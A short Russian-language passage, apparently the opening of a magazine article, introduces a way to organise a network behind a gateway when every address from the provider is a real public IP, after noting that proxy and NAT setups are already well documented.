На компьютере-шлюзе обычноимеется две сетевые карты, и нанём поднимаются либо прокси-сер-вера тех или иных сервисов, либоNAT (трансляция адресов или мас-карадинг), либо всё сразу. Такаяконфигурация встречается оченьчасто, поэтому в литературе хоро-шо описано, что и как настраивать.Однако если у вас случай, когда всеадреса, выделенные вам провайде-ром, являются реальными, то в дан-ной ситуации существует также не-сколько решений по организациисети. В литературе про это пишутменьше, поэтому об одном оченьудобном способе организации я ипопробую рассказать.